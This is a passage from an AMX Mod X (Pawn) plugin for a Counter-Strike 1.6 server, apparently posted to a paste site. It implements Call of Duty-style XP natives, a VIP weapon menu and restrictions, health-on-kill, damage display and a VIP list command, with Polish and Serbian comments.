  4930. if(pev(victim, pev_health))
  4931. ExecuteHam(Ham_TakeDamage, victim, ent, attacker, fDamage, DMG_BULLET)
  4932. }
  4933. }
  4934. message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
  4935. write_byte(TE_EXPLOSION);
  4936. write_coord(floatround(entOrigin[0]));
  4937. write_coord(floatround(entOrigin[1]));
  4938. write_coord(floatround(entOrigin[2]));
  4939. write_short(sprite_blast);
  4940. write_byte(32);
  4941. write_byte(20);
  4942. write_byte(0);
  4943. message_end();
  4944. }
  4945.  
  4946. public cmdKill()
  4947. {
  4948. return FMRES_SUPERCEDE
  4949. }
  4950.  
  4951. stock create_ent(id, ent, szName[], szModel[], iSolid, iMovetype, Float:fOrigin[3])
  4952. {
  4953. if(!pev_valid(ent))
  4954. {
  4955. return
  4956. }
  4957.  
  4958. set_pev(ent, pev_classname, szName)
  4959. engfunc(EngFunc_SetModel, ent, szModel)
  4960. set_pev(ent, pev_solid, iSolid)
  4961. set_pev(ent, pev_movetype, iMovetype)
  4962. set_pev(ent, pev_owner, id)
  4963. set_pev(ent, pev_origin, fOrigin)
  4964. }
  4965.  
  4966. stock Float:estimate_take_hurt(Float:fPoint[3], ent, ignored)
  4967. {
  4968. new Float:fOrigin[3]
  4969. new tr
  4970. new Float:fFraction
  4971. pev(ent, pev_origin, fOrigin)
  4972. engfunc(EngFunc_TraceLine, fPoint, fOrigin, DONT_IGNORE_MONSTERS, ignored, tr)
  4973. get_tr2(tr, TR_flFraction, fFraction)
  4974.  
  4975. if(fFraction == 1.0 || get_tr2(tr, TR_pHit) == ent)
  4976. {
  4977. return 1.0
  4978. }
  4979.  
  4980. return 0.6
  4981. }
  4982.  
  4983. public plugin_natives()
  4984. {
  4985. register_native("cod_set_user_xp", "UstawDoswiadczenie", 1)
  4986. register_native("cod_get_user_xp", "PobierzDoswiadczenie", 1)
  4987. register_native("cod_get_user_health", "PobierzZdrowieMax", 1)
  4988. }
  4989.  
  4990. public UstawDoswiadczenie(id, wartosc)
  4991. {
  4992. doswiadczenie_gracza[id] = wartosc
  4993. SprawdzPoziom(id)
  4994. }
  4995.  
  4996. public PobierzDoswiadczenie(id)
  4997. return doswiadczenie_gracza[id];
  4998.  
  4999. public PobierzZdrowieMax(id)
  5000. return maksymalne_zdrowie_gracza[id];
  5001.  
  5002.  
  5003. /* --==[ VIP ] ==-- */
  5004. public event_CurWeapon_Vip(id)
  5005. {
  5006. if(!is_user_connected(id))
  5007. return PLUGIN_HANDLED;
  5008.  
  5009. if (!get_pcvar_num(g_vip_active))
  5010. return PLUGIN_CONTINUE
  5011.  
  5012. if(read_data(2) == CSW_SG550)
  5013. {
  5014. if(!(get_user_flags(id) & ADMIN_LEVEL_H))
  5015. {
  5016. client_print(id, print_center, "AutoKampa 'SG550' samo za VIP-a!")
  5017. client_cmd(id, "drop")
  5018. }
  5019. }
  5020. else if(read_data(2) == CSW_G3SG1)
  5021. {
  5022. if(!(get_user_flags(id) & ADMIN_LEVEL_H))
  5023. {
  5024. client_print(id, print_center, "AutoKampa 'G3SG1' samo za VIP-a!")
  5025. client_cmd(id, "drop")
  5026. }
  5027. }
  5028. else if(read_data(2) == CSW_M249)
  5029. {
  5030. if(!(get_user_flags(id) & ADMIN_LEVEL_H))
  5031. {
  5032. client_print(id, print_center, "Bron 'M249 Para' samo za VIP-a")
  5033. client_cmd(id, "drop")
  5034. }
  5035. }
  5036. return PLUGIN_HANDLED
  5037. }
  5038.  
  5039. public on_damage(id)
  5040. {
  5041. new attacker = get_user_attacker(id)
  5042. if ( is_user_connected(id) && is_user_connected(attacker) )
  5043. if (get_user_flags(attacker) & ADMIN_LEVEL_H)
  5044. {
  5045. new damage = read_data(2)
  5046. set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
  5047. ShowSyncHudMsg(attacker, g_MsgSync, "%i^n", damage)
  5048. }
  5049. }
  5050.  
  5051.  
  5052. public Damage2(id)
  5053. {
  5054. new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
  5055. if(attacker<=maxplayers && is_user_alive(attacker) && attacker!=id)
  5056. if (is_user_connected(attacker) && get_user_flags(attacker) & ADMIN_LEVEL_H)
  5057. {
  5058. new money = read_data(2) * get_pcvar_num(mpd)
  5059. if(hitpoint==1) money += get_pcvar_num(mhb)
  5060. cs_set_user_money(attacker,cs_get_user_money(attacker) + money)
  5061. }
  5062. }
  5063. public HandleCmd(id)
  5064. {
  5065. if(!get_pcvar_num(g_vip_active))
  5066. {
  5067. return PLUGIN_CONTINUE
  5068. }
  5069.  
  5070. if(get_user_flags(id) & ADMIN_LEVEL_H)
  5071. {
  5072. return PLUGIN_CONTINUE
  5073. }
  5074.  
  5075. client_print(id, print_center, "Neka Oruzja Su Samo Za VIP-a!")
  5076. return PLUGIN_HANDLED
  5077. }
  5078.  
  5079. public Showrod(id)
  5080. {
  5081. show_menu(id, Keysrod, "\rVIP Menu^n\d1. \wWez \yM4A1+Deagle ^n\d2. \wWez \yAK47+Deagle^n^n\d0. Wyjscie^n", -1, "rod") // Display menu
  5082. }
  5083. public Pressedrod(id, key)
  5084. {
  5085. /* Menu:
  5086. * VIP Menu
  5087. * 1. Wez M4A1 + Deagle
  5088. * 2. Wez AK47+Deagle
  5089. * 0. Exit
  5090. */
  5091. switch(key)
  5092. {
  5093. case 0:
  5094. {
  5095. if(user_has_weapon(id, CSW_C4) && get_user_team(id) == 1)
  5096. {
  5097. HasC4[id] = true
  5098. }
  5099. else
  5100. {
  5101. HasC4[id] = false
  5102. }
  5103.  
  5104. strip_user_weapons (id)
  5105. give_item(id,"weapon_m4a1")
  5106. give_item(id,"ammo_556nato")
  5107. give_item(id,"ammo_556nato")
  5108. give_item(id,"ammo_556nato")
  5109. give_item(id,"weapon_deagle")
  5110. give_item(id,"ammo_50ae")
  5111. give_item(id,"ammo_50ae")
  5112. give_item(id,"ammo_50ae")
  5113. give_item(id,"ammo_50ae")
  5114. give_item(id,"ammo_50ae")
  5115. give_item(id,"ammo_50ae")
  5116. give_item(id,"ammo_50ae")
  5117. give_item(id,"weapon_knife")
  5118.  
  5119. if(get_user_flags(id) & ADMIN_RCON)
  5120. {
  5121. give_item(id, "weapon_hegrenade");
  5122. give_item(id, "weapon_flashbang");
  5123. give_item(id, "weapon_flashbang");
  5124. give_item(id, "weapon_smokegrenade");
  5125. client_print(id, print_center, "Primite M4A1, Deagle, HE, Smoke i 2x Flesh!")
  5126. }
  5127. else
  5128. {
  5129. give_item(id, "weapon_hegrenade");
  5130. }
  5131.  
  5132. give_item(id, "item_assaultsuit")
  5133. give_item(id, "item_thighpack")
  5134. client_print(id, print_center, "Uzeo si M4A1, Deagle i HE!")
  5135.  
  5136. if (HasC4[id])
  5137. {
  5138. give_item(id, "weapon_c4");
  5139. cs_set_user_plant( id );
  5140. }
  5141. }
  5142. case 1:
  5143. {
  5144. if (user_has_weapon(id, CSW_C4) && get_user_team(id) == 1)
  5145. {
  5146. HasC4[id] = true
  5147. }
  5148. else
  5149. {
  5150. HasC4[id] = false
  5151. }
  5152.  
  5153. strip_user_weapons (id)
  5154. give_item(id,"weapon_ak47")
  5155. give_item(id,"ammo_762nato")
  5156. give_item(id,"ammo_762nato")
  5157. give_item(id,"ammo_762nato")
  5158. give_item(id,"weapon_deagle")
  5159. give_item(id,"ammo_50ae")
  5160. give_item(id,"ammo_50ae")
  5161. give_item(id,"ammo_50ae")
  5162. give_item(id,"ammo_50ae")
  5163. give_item(id,"ammo_50ae")
  5164. give_item(id,"ammo_50ae")
  5165. give_item(id,"ammo_50ae")
  5166. give_item(id,"weapon_knife")
  5167.  
  5168. if(get_user_flags(id) & ADMIN_RCON)
  5169. {
  5170. give_item(id, "weapon_hegrenade")
  5171. give_item(id, "weapon_flashbang")
  5172. give_item(id, "weapon_flashbang")
  5173. give_item(id, "weapon_smokegrenade")
  5174. client_print(id, print_center, "Uzeo si AK47, Deagle, HE")
  5175. }
  5176. else
  5177. {
  5178. give_item(id, "weapon_hegrenade")
  5179. client_print(id, print_center, "Primite AK47, Deagle i HE!")
  5180. }
  5181. give_item(id, "item_assaultsuit")
  5182. give_item(id, "item_thighpack")
  5183.  
  5184. if(HasC4[id])
  5185. {
  5186. give_item(id, "weapon_c4")
  5187. cs_set_user_plant(id)
  5188. }
  5189. }
  5190. case 9: {
  5191. // 0
  5192. client_print(id, print_center, "Primite Granate!")
  5193. }
  5194. }
  5195. return PLUGIN_CONTINUE
  5196. }
  5197.  
  5198. public Round_Reset()
  5199. {
  5200. round = 0;
  5201. }
  5202.  
  5203. public hook_death()
  5204. {
  5205. // Killer id
  5206. nKiller = read_data(1)
  5207.  
  5208. if(!is_user_connected(nKiller))
  5209. return;
  5210.  
  5211. if ( (read_data(3) == 1) && (read_data(5) == 0) )
  5212. {
  5213. nHp_add = get_pcvar_num (health_hs_add)
  5214. }
  5215. else
  5216. nHp_add = get_pcvar_num (health_add)
  5217. nHp_max = get_pcvar_num (health_max)
  5218. // Updating Killer HP
  5219. if(!(get_user_flags(nKiller) & ADMIN_LEVEL_H))
  5220. return;
  5221.  
  5222. nKiller_hp = get_user_health(nKiller)
  5223. nKiller_hp += nHp_add
  5224. // Maximum HP check
  5225. if (nKiller_hp > nHp_max) nKiller_hp = nHp_max
  5226. set_user_health(nKiller, nKiller_hp)
  5227. // Hud message "Healed +15/+30 hp"
  5228. set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
  5229. show_hudmessage(nKiller, "Healed +%d hp", nHp_add)
  5230. // Screen fading
  5231. message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, nKiller)
  5232. write_short(1<<10)
  5233. write_short(1<<10)
  5234. write_short(0x0000)
  5235. write_byte(0)
  5236. write_byte(0)
  5237. write_byte(200)
  5238. write_byte(75)
  5239. message_end()
  5240.  
  5241. }
  5242.  
  5243. public handle_say(id) {
  5244. new said[192]
  5245. read_args(said,192)
  5246. if( ( containi(said, "who") != -1 && containi(said, "admin") != -1 ) || contain(said, "/vips") != -1 )
  5247. set_task(0.1,"print_adminlist",id)
  5248. return PLUGIN_CONTINUE
  5249. }
  5250.  
  5251. public print_adminlist(user)
  5252. {
  5253. new adminnames[33][32]
  5254. new message[256]
  5255. new contactinfo[256], contact[112]
  5256. new id, count, x, len
  5257.  
  5258. for(id = 1 ; id <= maxplayers ; id++)
  5259. if(is_user_connected(id))
  5260. if(get_user_flags(id) & ADMIN_LEVEL_H)
  5261. get_user_name(id, adminnames[count++], 31)
  5262.  
  5263. len = format(message, 255, "%s VIP'y ONLINE: ",COLOR)
  5264. if(count > 0)
  5265. {
  5266. for(x = 0 ; x < count ; x++)
  5267. {
  5268. len += format(message[len], 255-len, "%s%s%s ", COLOR, adminnames[x], x < (count-1) ? "^x01, ":"")
  5269. if(len > 96 ) {
  5270. print_message(user, message)
  5271. len = format(message, 255, "%s ",COLOR)
  5272. }
  5273. }
  5274. print_message(user, message)
  5275. }
  5276. else {
  5277. len += format(message[len], 255-len, "Brak Vip'ow Online")
  5278. print_message(user, message)
  5279. }
  5280.  
  5281. get_cvar_string("amx_contactinfo", contact, 63)
  5282. if(contact[0]) {
  5283. format(contactinfo, 111, "%s Kontakt z Adminem -- %s", COLOR, contact)
  5284. print_message(user, contactinfo)
  5285. }
  5286. return PLUGIN_HANDLED;
  5287. }
  5288.  
  5289. public print_message(id, msg[])
  5290. {
  5291. if(!is_user_connected(id))
  5292. return;
  5293. message_begin(MSG_ONE, gmsgSayText, {0,0,0}, id)
  5294. write_byte(id)
  5295. write_string(msg)
  5296. message_end()
  5297. }
  5298.  
  5299. public ShowMotd(id)
  5300. {
  5301. show_motd(id, "vip.txt")
  5302. }
  5303.  
  5304. public forward_player_prethink( id )
  5305. {
  5306. if( bSilent[ id ] )
  5307. {
  5308. set_pev( id, pev_flTimeStepSound, 999 );
  5309. }
  5310. }
  5311. public KomendaDajPrzedmiot(id, level, cid)
  5312. {
  5313. if(!cmd_access(id,level,cid,3))
  5314. return PLUGIN_HANDLED;
  5315.  
  5316. new arg1[33]
  5317. new arg2[6]
  5318. read_argv(1, arg1, 32)
  5319. read_argv(2, arg2, 5)
  5320. new gracz = cmd_target(id, arg1, 0)
  5321. new przedmiot = str_to_num(arg2)-1
  5322.  
  5323. if(przedmiot < 1 || przedmiot > sizeof nazwy_przedmiotow-1)
  5324. {
  5325. client_print(id, print_console, "Uneli ste pogresan broj predmeta.")
  5326. return PLUGIN_HANDLED;
  5327. }
  5328.  
  5329. DajPrzedmiot(gracz, przedmiot);
  5330. return PLUGIN_HANDLED;
  5331. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement